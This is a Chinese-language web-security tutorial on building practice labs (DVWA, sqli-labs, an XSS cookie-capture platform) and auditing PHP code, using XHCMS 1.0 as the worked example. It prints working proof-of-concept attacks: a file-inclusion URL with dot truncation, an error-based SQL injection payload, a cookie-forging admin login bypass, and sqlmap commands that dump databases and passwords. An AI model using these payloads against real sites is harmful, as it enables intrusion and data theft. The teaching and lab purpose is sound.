LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。
首先,下载需要的安装包,命令如下所示。
wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz
下载完成后进行解压,解压文件的命令为tar zxvf lanmp_v3.tar.gz,运行环境如下图所示。
输入sh lanmp.sh命令运行LANMP,这时程序中会有5个选项,如下图所示:
选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务:选项3是安装Nginx Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项4是安装所有服务:选项5是现在不安装。Zend Guard是一款PHP加密工具,经过加密的文件,务必安装Zend才能返回正常页面;PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境,自行选择。
在Kali和Ubuntu等系统中,输入sh lanmp.sh命令后提示:
这是因为系统的dash兼容性不好,而编译器常用的就是dash。所以可以输入以下命令,直接更该系统的编译器(shell)操作。
sudo dpkg-reconfigure dash
然后选择“
接着输入sudo sh lanmp.sh命令继续安装,
这时选择你要安装的环境即可,安装的过程可能有点慢,安装完成后即可看到如下图所示的内容。在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,登陆成功后应先修改默认密码,防止被攻击。
WAMP是Windows中Apache、MySQL和PHP的应用环境,这里演示的是WampServer,在Web安全攻防这本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示,单击“下一步”按钮。通常在安装WampServer时会遇到一个问题,提示找不到MSVCR110.dll解决方案是去http://www.zhaodll.com/dll/download.asp?softid=41552&downid=2&iz3=2a9db44a3a7e2d7f65f2c100b6662097&id=41625下载Msvce110-zip后,将32位的系统放到C:\Windows\System32目录下,重新安装一遍就能解决。如果遇到Apache启动失败的情况,应当先卸载Apache服务,然后重新安装Apache服务并启动,
启动成功后访问127.0.0.1,如下图所示,表示服务已经正常运行。
DVWA是一款开源的渗透测试漏洞练习平台,其中内涵XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。在本书的同步网站下载其安装文件。在安装时需要在数据库里创建一个数据库名,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,创建名为“dvwa”的数据库,
接着修改config文件下的config.inc.php中数据库的用户名、密码、数据库名:
修改完成后,保存并复制所有源码,粘贴在网站的根目录中,也就是www目录下,打开浏览器访问http://127.0.0.1/setup.php,单击“Create/Reset Database”按钮进行安装,安装成功后如下图所示,单击“login”即可登录,默认账号为admin,密码为password。
在安装过程中可能会出现红色的Disabled,修改PHP安装目录中的php.ini文件,找到allow_url_include,把Off改为On,然后重启PHP即可解决这个问题
sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库中
打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等配置信息,笔者修改完数据库密码后,打开浏览器访问127.0.0.1/sql1/,接着单击“Setup/reset Database for labs”
笔者在www目录中创建了sql1文件夹,并把代码放在该目录下,单击“Setup/reset Database for labs”后会自动访问http://127.0.0.1/sql1/sql-connections/setup-db-php,如果出现如图2-15所示的信息,说明安装成功。
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。安装过程如下所示。
进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库。如xssplatform:设置其用户名和密码,
修改config-php中的数据库连接字段。包括用户名、密码和数据库名,访问 XSS平台的URL地址,将注册配置中的invite改为normal,要修改的配置
进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sql文件,然后执行以下SQL命令,将数据库中原有的URL地址修改为自己使用的URL,如图2-18所示。同时,也需要将authtest.php中的网址代码替换为自己的URL,如图2-19中用线框标出的部分。
UPDATE oc-module SETcode=REPLACE(code,'http://xsser.me’,’ http://yourdomain/xss’)
接下来访问搭建XSS平台的URL,首先注册用户,然后在phpMyAdmin里选择oc_user,将注册用户的adminLevel改为1,如图2-20所示。再将config-php 注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)。
需要配置伪静态文件(htaccess),平台根目录下创建.htaccess文件,写入以下代码。
使用注册的账号登录XSS平台,创建项目,。
代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。
代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。
代码审计这是一个需要多方面技能的技术,也是需要一定的知识储备。我们需要掌握编程,安全工具的使用、漏洞原理、漏洞的修复方式、函数的缺陷等等。
代码审计入门基础:html/js基础语法、PHP基础语法 ,面向对象思想,PHP小项目开发(Blog、注册登录、表单、文件上传、留言板等),Web漏洞挖掘及利用,Web安全工具基本使用(burpsuite、sqlmap等),代码审计工具(seay审计系统、zend studio+xdebug等)
代码审计两种基本方式:
通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。
代码审计两种基本方法:
正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload
逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload
从开发者的位置去思考问题,可以快速定位问题。学习面向对象编程以及面向过程编程,编写一些项目提升对代码的理解能力,再是对各种漏洞可以独立挖掘利用并能理解漏洞的危害,这里我们主要针对PHP源码做审计。
我们从三个层次开始我们的源码审计思路
1.确定要审计的源码是什么语言
2.确定该源码是单入口还是多入口
3.确定该语言的各种漏洞诞生的函数
PHP源码部署环境:Phpstudy
集成开发环境:Zend Studio/Phpstorm
数据库管理工具:Navicat for MySQL
MySQL实时监控工具:MySQLMonitor
文本编辑工具:Sublime_Text3
代码审计辅助工具:Seay源代码审计系统、Rips
代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap
通常做代码审计都是检查敏感函数的参数,然后回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。
这里列出一些特定漏洞对应的比较容易出问题的函数或关键字,提高审计效率。
select
update
insert into
delete
注:此处非函数,主要找常用的SQL语句
include() 向上包含,向下包含,如果包含出错继续向下执行
include_once() 同上,只进行包含一次
require() 向上包含,向下包含,如果包含出错不下向下执行
require_once() 同上,只进行包含一次
system()
exec()
passthru()
shell_exec()
print_r die
echo var_dump
printf var_export
move_uploaded_file()
fopen()
readfile()
file_get_contents()
unlink()
unserialize()
使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。
我们这里介绍两款PHP代码审计工具
RIPS是一个用 PHP 编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘 PHP 源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等。
RIPS官网:http://rips-scanner.sourceforge.net/
下载完之后将该压缩包解压到本地网站的根目录下,然后在浏览器 localhost/Rips(你解压的文件名字)/就可以进去了,
subdirs:如果勾选上这个选项,会扫描所有子目录,否则只扫描一级目录,缺省为勾选。
verbosity level:选择扫描结果的详细程度,缺省为1(建议就使用1)。
vuln type:选择需要扫描的漏洞类型。支持命令注入、代码执行、SQL注入等十余种漏洞类型,缺省为全部扫描。
code style:选择扫描结果的显示风格(支持9种语法高亮)。
/regex/:使用正则表达式过滤结果。
path/file: 要扫描的目录。
scan: 开始扫描。
使用
在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:
我们可以看到RIPS的功能还是很强大的,将目录中所有的漏洞文件找出
对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况
左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案
右下角的红色按钮,可以根据漏洞生成漏洞利用代码
到这里我们可以看到该工具非常强大,可以帮助我们提高审计效率
Seay源代码审计系统是由国人开发的一款基于白盒测试的代码审计工具,具有自动代码审计功能。支持一件审计,代码调试,函数定位,自定义审计规则等强大功能。可以简化人工审计的繁琐流程,使代码审计更加智能简洁。
目前作者官网已不能访问,可以从如下地址下载:https://github.com/f1tz/cnseay
程序使用C# 编写,须要.NET2.0以上版本环境才能运行。
直接运行“Seay源代码审计系统.exe”即可安装,安装完直接运行,
点击“新建项目”按钮新建一个审计项目。选择需要扫描的源码所在目录。
打开一个审计项目后,可以看到审计系统左侧列出了该项目的全部源代码文件,点击“自动审计”按钮进入审计操作
点击“自动审计”操作下的“开始”按钮,正式进入审计过程并等待审计扫描完成。
当Seay源代码审计系统底部提示“扫描完成”时,点击“生成报告”生成本次审计报告并保存报告生成的html文件。
通常我们可以直接在审计工具里双击漏洞所在的行,跳转到相应文件审计。
会高亮显示漏洞所在的行,后面就是需要人工来判断漏洞是否确实存在。
以熊海CMS1.0为例我们来进行实例审计,CMS下载地址:https://zdown.chinaz.com/201503/xhcms_v1.0.rar
为了复现我们审计出的漏洞,首先搭建熊海CMS站点测试环境。
此CMS运行需要的环境:php+mysql+apache,注意这里php版本需要5.x
这里使用phpstudy 2018来搭建,把压解的熊海CMS源码,复制到WWW目录下。
在切换版本里选择php-5.2.17+Apache
开启apache和mysql服务。
通过自带的MySQL管理器,这里使用MySQL-Front
登录进mysql,新建一个数据库xhcms
访问如下链接来安装,确认提交后可以看到安装成功
http://127.0.0.1/xhcms/install/
开始审计
先查看一下网站的文件目录结构,了解一下大概文件夹的功能作用。
一般文件夹的英文名字就是这个文件夹实现的功能
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站入口(首页)
入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:
程序的架构;
运行流程;
包含哪些配置文件;
包含哪些过滤文件和安全过滤文件;
了解程序的业务逻辑。
配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。
先看数据库编码,如果是GBK可能存在宽字节注入。
若变量的值用双引号,则可能存在双引号解析代码执行的问题。
此CMS的配置文件为:inc/conn.php
过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:
用户输入的数据,哪些被过滤,哪些无过滤如何过滤。在哪里被过滤了。
如何过滤,过滤的方式是替换还是正则,能否绕过过滤的数据。
这里我们首先看下 入口文件、配置文件、过滤功能。此程序比较简单,没有安全过滤文件
首先就从网站入口index.php跟进,发现是一个单入口模式:
在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤。然后判断文件名,如果为空的话,则包含files/index.php,反之赋值就会把传递进来的文件名赋值给 $action进行拼接。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的文件包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没
过滤)后被incluede包含。但因为在包含时限定了.php后缀,本地包含时需要截断。利用起来存在一定限制。
"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口。
在分析PHP代码的时候,遇到不懂的函数要随手查PHP手册去了解相关用法和解释。
第三行 error_reporting(0);表示关闭所有PHP错误报告。
第四行 r参数通过GET请求经过 addslashes函数处理后再传递给$file变量。查阅PHP手册可以知道,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。通常这个函数用于防止SQl注入。
第五 六行通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给 $action,"."在PHP里是拼接的作用,因此就是把第四行传递的变量 $file(到这里是 $action,因为上一行 $file赋值给了 $action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的".php"这个后缀,最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀。
介绍文件包含截断的2种方法
第一种是使用%00截断,但是php>5.3以后就不能使用了,开启了GPC的情况下也是不能使用的,因为此CMS这里用了addslashes函数同样不能使用。
第二种是点号截断
1.Windows下在文件名字后面加 “.” 不影响文件。2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable,这个在我们phpstudy2018搭建的环境里满足。
此CMS后台存在上传功能可以上传图片,通过上传写有php代码的图片文件,通过包含漏洞可以使我们的代码运行。
这里为了方便直接在此CMS根目录的upload\image\20150321目录,新建一个内容为 的test.jpg文件,模拟上传的图片文件。
另外有一点,就是文件包含这里,不论你文件的后缀是什么,他包含的时候是只管你文件的内容的,因此你不论是弄成文本还是图片,只要里面内容是可以执行的PHP代码,就可以包含执行利用成功,因此这也是文件包含利用的一个要点
下面来构造利用poc,利用“../”来跳出限制的“/files”目录,跳到CMS根目录,然后再拼接成../upload/image/20150321/test.jpg
然后我们再利用点号截断来截断代码中.php后缀
最终poc如下:http://127.0.0.1/xhcms/index.php?r=../upload/image/20150321/test.jpg........................................................................................................................................................................................................
点号这里加了200个
通读全文法比较太费时费力,但是最全面。
最高效和最常用的方法还是敏感函数参数检查,这里我们通过前面介绍的审计工具来辅助我们审计工作。
当然审计工具存在着误报和漏报问题,这就需要我们需要不断积累审计知识,不只是依靠工具。
首先用RIPS我们来扫描下,然后对扫出的漏洞进行验证。
我们先验证前台漏洞,后台漏洞的话需要先得到后台权限才能利用。前台漏洞较后台漏洞利用面更广些。
扫出如下文件存在问题 File: /xhcms/files/contact.php
我们进行分析,先看跨站脚本问题
从上面代码里我们看到139行 echo $page 直接输出$page内容,如果$page内容可控,并且没有过滤的话,就存在漏洞
从扫描工具显示的结果中可以看到$page变量来自外界输入,只是用addslashes做了过滤(过滤不全)
前面介绍过,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。
构造利用POC,如下如果POC里存在双引号,代码不能执行,会被转义
http://127.0.0.1/xhcms/index.php?r=contact&page=
把双引号修改成如下,代码可以成功执行
http://127.0.0.1/xhcms/index.php?r=contact&page=
扫出如下文件存在问题 File: /xhcms/files/content.php
从上面代码可以看到,第20行$id并没有被单引号包裹
向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。
构造利用POC
先使用报错利用代码,获取数据名如下
http://127.0.0.1/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
使用sqlmap利用获取当前数据库名
python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid --current-db
业务逻辑漏洞-后台登录绕过
自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。
在进入到管理员首页时,首先会检测是否是登录的状态,
漏洞代码位置:/xhcms/inc/checklogin.php
下面我们看下checklogin.php代码
判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。如果COOKIE中user参数为空,那么就跳转到登陆的地方。如果修改user字段不为空,就会成功登录到后台。显然,这种写法是有缺陷的。
我们来利用此漏洞来登录后台,访问如下地址,使用burp拦截
http://127.0.0.1/xhcms/admin/index.php
在cookie里添加;user=1
成功登录到后台
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
3.1.1 安装SQLMap
SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。
然后在SQLMap的官网(http://www.sqlmap.org)下载最新版本的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
3.1.2 SQLMap入门
(1)判断是否存在注入
假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否存在注入的命令如下所示。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1
当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。
Sqlmap.py -u “http://129.168.1.104/sql1/Less-1/?id=1&uid=2”
(2)判断文本中的请求是否存在注入
判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用)
Sqlmap.py -r desktop/1.txt
(3) 查询当前用户的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1 –dbs
(4) 获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –tables
(5) 获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info --columns
(6) 获取字段内容
该命令是查询完字段名后,获取该字段中具体的数据信息。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info -Cusername,password --dump
(7) 获取数据库的所有用户
该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --users
(8) 获取数据库用户的密码
该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --passwords
(9) 获取当前网站数据库的名称
使用该命令可以列出当前的数据库。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-db
(10) 获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-user
3.1.3 SQLMap进阶:参数讲解
(1)--level 5:探测等级
参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1.
(2)--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --is-dba
(3) --roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。
(4)--referer: HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3